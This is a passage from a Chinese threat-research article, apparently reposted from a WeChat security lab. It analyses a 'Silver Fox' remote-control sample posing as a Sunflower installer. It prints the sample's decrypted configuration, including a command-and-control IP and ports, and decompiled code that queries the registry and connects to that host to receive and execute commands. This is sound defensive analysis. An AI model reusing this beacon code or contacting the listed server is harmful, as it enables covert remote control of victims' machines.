解密后的字符串如下,目测为配置信息:
8.212.100.188
8888
8.212.100.188
8.212.100.188
6666
127.0.0.1
127.0.0.1
80
1
80
1
1
0xD80x9E0xA40x8B
1.0
2024.10.21
对注册表进行查询:
 v0 = RegOpenKeyExW(HKEY_CURRENT_USER, SubKey, 00x20019u, &phkResult);//Console
    RegQueryValueExW = ::RegQueryValueExW;
    if ( !v0 )
      ::RegQueryValueExW(phkResult, aIpdate, 0, &v3, 0, &v4);//ipdate
    if ( v4 > 0xA )
    {
      sub_13FC8C0((int)aXiugaishiyong, 00x7D0u);
      RegQueryValueExW(phkResult, aIpdate, 0, &v3, (LPBYTE)aXiugaishiyong, &v4);
创建线程并执行:
    hObject = CreateThread(00, StartAddress, 000);
    WaitForSingleObject(hObject, 0xFFFFFFFF);
    CloseHandle(hObject);
尝试连接8.212.100.188,等待接收服务端信息并执行命令
  v7 = lstrlenW(a2);
  cbMultiByte = WideCharToMultiByte(00, a2, v7, 0000);
  v8 = (CHAR *)sub_13F68BF(cbMultiByte + 1);
  v9 = lstrlenW(a2);
  WideCharToMultiByte(00, a2, v9, v8, cbMultiByte, 00);
  v8[cbMultiByte] = 0;
  v10 = gethostbyname(v8);
  sub_13F68CA(v8);
  if ( !v10 )
    return 0;
  name.sa_family = 2;
  *(_WORD *)name.sa_data = htons(a3);
  v17 = *(_DWORD *)(this + 100);
  *(_DWORD *)&name.sa_data[2] = **(_DWORD **)v10->h_addr_list;
  if ( connect(v17, &name, 16) == -1 )
    return 0;
  v11 = setsockopt;
  v13 = *(_DWORD *)(this + 100);
  v24 = 0x40000;
  setsockopt(v13, 0xFFFF4097, (const char *)&v24, 4);
  v14 = *(_DWORD *)(this + 100);
  v24 = 0x40000;
  v11(v14, 0xFFFF4098, (const char *)&v24, 4);
  v15 = *(_DWORD *)(this + 100);
  v21 = 30000;
  v11(v15, 0xFFFF4102, (const char *)&v21, 4);
  v16 = *(_DWORD *)(this + 100);
  v20 = 1;
  if ( !v11(v16, 0xFFFF8, (const char *)&v20, 4) )
  {
    v12 = *(_DWORD *)(this + 100);
    vInBuffer[0] = 1;
    vInBuffer[1] = 180000;
    vInBuffer[2] = 5000;
    WSAIoctl(v12, 0x98000004, vInBuffer, 0xCu, 00, &cbBytesReturned, 00);
  }
  InterlockedExchange_0((volatile LONG *)(this + 24), 1);

五、总结

根据去年的情况,多个黑产团伙频繁使用“银狐”黑客远控工具。今年,这些团伙依然活跃,并持续更新攻击样本。他们运用各种免杀策略,巧妙规避安全厂商的检测,同时不断提升免杀对抗手法的复杂性。

原文始发于微信公众号(弱口令安全实验室):伪装成向日葵安装程序的最新银狐样本分析

版权声明:admin 发表于 2024年11月1日 上午11:18。
转载请注明:伪装成向日葵安装程序的最新银狐样本分析 | CTF导航

相关文章